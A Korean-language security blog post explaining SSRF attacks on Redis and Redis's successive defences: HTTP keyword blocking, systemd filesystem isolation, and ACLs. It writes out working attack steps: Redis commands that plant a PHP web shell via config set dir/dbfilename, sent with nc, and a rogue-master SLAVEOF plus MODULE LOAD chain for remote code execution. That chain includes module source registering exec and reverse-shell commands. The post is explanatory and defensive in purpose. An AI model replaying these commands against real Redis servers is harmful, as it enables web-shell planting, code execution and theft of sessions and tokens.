SSRF to Redis

SSRF (Server-Side Request Forgery)

SSRF는 서버의 요청을 변조하여 원하는 데이터 또는 원하는 타겟에 대해 서버의 자원을 이용해 요청을 보내는 공격 방법입니다.
다수의 마이크로 서비스로 이루어지는 모던 스택 또는 다른 서비스와 상호작용하는 형태에서 다른 서비스에 접근하여 취약점을 유발하는 SSRF취약점의 가치는 증가하게 되었습니다.

Redis

Key-Value 데이터 모델을 가진 NoSQL 데이터베이스입니다. 데이터를 메모리에 저장하는 인메모리 데이터베이스로 read/write 속도가 빠르다는 장점으로 대중적으로 많이 사용되고 있습니다.

Redis는 왜 해커의 타겟이 되었나?

Redis는 SSRF취약점 발생 시 주로 타겟이 되는 서비스 중 하나입니다. 이에 대한 이유는 아래와 같다고 생각됩니다.

- 인증 체계
기본적으로 Redis는 인증 체계가 없으며, bind 127.0.0.1, port 6379로 서비스가 설정됩니다. 
redis.conf의 내용 중 port와 bind에 대한 내용입니다.
```apache
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379

...

# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses.
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
bind 127.0.0.1
```
또한, 특별한 인증 체계가 기본적으로 없기 때문에 직접 접근을 통해 명령어 실행이 가능합니다.
```bash
$ echo -e 'info\r\n' | nc 127.0.0.1 6379
$2728
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 5.0.0-27-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:13438
run_id:61725671377fa0ba43547443df3097b0346b9bab
tcp_port:6379
...
```

- Redis를 통해 얻을 수 있는 결과
공격 시 얻을 수 있는 결과가 없다면 중요도는 떨어지게 됩니다. 하지만 Redis에서 다루는 데이터를 추출할 수 도 있으며, Redis의 명령어를 통해 공격하는 방법들도 있습니다.

  • Redis가 주로 다루는 정보들
어플리케이션에 따라 모두 다르지만 RDBMS에 저장하기에는 비효율적인 데이터들을 주로 저장하며, 사용자의 세션, 토큰 등이 저장되는 경우도 존재합니다. 이런 주요 정보들을 추출하여 2~3차 공격에 활용될 수 있습니다.
  • Redis명령어를 통한 공격 방식
Redis의 동작 구조를 이용한 방식이 주로 이용되었습니다. 대표적인 예시로는 아래 명령어와 같이 권한이 있는 파일 디렉토리에 파일을 작성하는 방식이 있습니다.
```
config set dir /var/www/html/redis
config set dbfilename redis.php
set test "<?php system($_GET['cmd']); ?>"
save
```

Redis는 어떻게 방어하였나?

- HTTP SSRF 방어
이전에는 HTTP의 구조를 이용해 헤더 또는 바디 등에 명령어를 포함해 공격을 시도하였습니다.
```bash
$ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379
-ERR unknown command 'anydata:'
$5
world
```
위 명령어와 같이 이전 명령어가 유효하지 않은 명령어여도 다음 명령어는 성공적으로 실행됩니다.
"https://github.com/antirez/redis/commit/a81a92ca2ceba364f4bb51efde9284d939e7ff47"는 HTTP를 이용한 공격에 대한 패치 커밋입니다.
```bash
$ echo -e "post a\r\nget hello" | nc 127.0.0.1 6379
$ echo -e "host: a\r\nget hello" | nc 127.0.0.1 6379

# 12235:M 01 May 09:59:57.614 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
```
위와 같이 명령어 중에 HTTP 구조의 키워드가 포함된 악성 명령어인 경우 해당 요청을 차단하도록 설정되었습니다. 하지만 여전히 다른 프로토콜등을 활용한 SSRF에는 취약할 수 밖에 없습니다.

- Access File System
Systemd를 통해 서비스 시 아래와 같이 설정됩니다. (Ubuntu 18.04 기준, 패키지매니저(apt)를 통해 설치 시)
```
# root@ubuntu18.04:~# cat /etc/systemd/system/redis.service 
...
UMask=007
PrivateTmp=yes
LimitNOFILE=65535
PrivateDevices=yes
ProtectHome=yes
ReadOnlyDirectories=/
ReadWriteDirectories=-/var/lib/redis
ReadWriteDirectories=-/var/log/redis
ReadWriteDirectories=-/var/run/redis
...
ReadWriteDirectories=-/etc/redis
```

마운트 네임 스페이스를 이용해 가상의 파일 시스템을 만들어 실제 드라이브와 별개로 관리합니다. 일반적인 redis권한으로도 접근 및 파일생성이 가능한 `/tmp` 디렉토리도 `PrivateTmp`를 통해 따로 관리되도록 설정하였습니다.

아래는 `PrivateTmp`가 설정된 상태에서 `/tmp`에 파일을 작성하는 스크립트를 실행해보았습니다. 성공적으로 생성되었다는 응답이 왔습니다.

```bash
root@ubuntu18.04:~# cat exp.txt 
config set dir /tmp
config set dbfilename redis.php
set test "<?php system($_GET['cmd']); ?>"
save
root@ubuntu18.04:~# cat exp.txt | nc 127.0.0.1 6379
+OK
+OK
+OK
+OK
```

하지만 실제 디렉토리를 확인해보면 아래와 같이 /tmp에 저장되지 않고, systemd가 redis가 사용할 수 있도록 생성한 네임스페이스에 생성된 것을 확인할 수 있습니다.

```bash
root@ubuntu18.04:~# ls -al /tmp
total 20
drwxrwxrwt 11 root    root     4096 May  1 19:11 .
drwxr-xr-x 23 root    root     4096 May  1 09:54 ..
drwx------  3 root    root     4096 May  1 09:51 systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK
...

root@ubuntu18.04:~# ls -alR /tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/
/tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/:
total 20
drwx------  3 root root  4096 May  1 17:51 .
drwxrwxrwt 11 root root 12288 May  1 17:55 ..
drwxrwxrwt  2 root root  4096 May  1 09:51 tmp

/tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/tmp:
total 12
drwxrwxrwt 2 root  root  4096 May  1 19:11 .
drwx------ 3 root  root  4096 May  1 17:51 ..
-rw-rw---- 1 redis redis  134 May  1 09:51 redis.php
```

해당 디렉토리에 일반적으로 접근하기 위해서는 root권한을 가지고 있어야 하기 때문에 일반적인 상황에서 공격에 활용하기에 더욱 힘들어집니다.

또한, 아래와 같이 지정된 디렉토리외에 접근하는 파일시스템에는 Read-Only한 권한으로 접근하도록하였습니다.
```bash
# 11914:C 01 May 09:55:46.093 # Failed opening the RDB file redis.php (in server root dir /var/www/html/redis) for saving: Read-only file system
```

하지만 위와 같은 상황에서도 공격 기법들은 꾸준히 연구되었으며 그 중 Module을 load하여 RCE로 연계하는 공격 방법도 존재합니다.
해당 공격 방법은 아래와 같습니다.

1) [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)을 참고해서 Redis에서 실행될 수 있는 모듈 제작.
```c
// https://github.com/n0b0dyCN/RedisModules-ExecuteCommand/blob/master/src/module.c
...
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1)
                        == REDISMODULE_ERR) return REDISMODULE_ERR;

    if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
   if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    return REDISMODULE_OK;
}
```

2) SLAVEOF 명령어를 이용해 공격자의 서버로 연결.
```
SLAVEOF ip port
```

3) SYNC 과정을 통해 모듈을 파일 시스템에 업로드.
```
[recv] 'PSYNC 2d2c7e7dcd93b801b1faba75dcc20a88af8524ec 1\r\n'
[send] '+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44336\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
```

4) Module load를 통해 파일 시스템에 존재하는 모듈 로드.
```
MODULE LOAD path [ arg [arg ...]]
```

성공적으로 모듈이 로드되면, 이를 이용하여 OS명령어를 실행시킬 수 있습니다.
```bash
wooeong@ubuntu18.04:/tmp$ redis-cli -h 127.0.0.1
127.0.0.1:6379> system.exec "id"
"uid=113(redis) gid=118(redis) groups=118(redis)\n"
```

익스플로잇에 대한 코드와 정보는 [redis-rogue-server](https://github.com/LoRexxar/redis-rogue-server)에서 얻을 수 있습니다.

- Multi Users, ACL
위와 같은 다양한 공격 방법들이 가능함에 따라 Redis는 Multi Users와 ACL을 추가하여 각 유저 그룹마다 사용할 수 있는 명령어와 정보를 나누도록 하였습니다. (RCP 1)
이에 따라 일반적인 권한으로는 CONFIG와 같은 admin 명령어를 사용할 수 없도록 하는 방안입니다.
해당 기능은 Redis 6.0부터 추가됩니다.

결론

Redis에 SSRF 공격에 대한 방어가 이루어지지만, 마찬가지로 우회하여 공격할 수 있는 기법들도 여전히 연구되고 있습니다.
Redis가 꾸준히 패치를 진행하지만 Redis 설정을 통해 인증 과정을 추가하거나, 근본적인 SSRF취약점 제거가 이루어져야합니다.

References

- Redis github (https://github.com/antirez/redis)
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

댓글

댓글 쓰기

이 블로그의 인기 게시물

2019 미국 방문기

[python-markdown2] safe_mode Filter bypass 분석글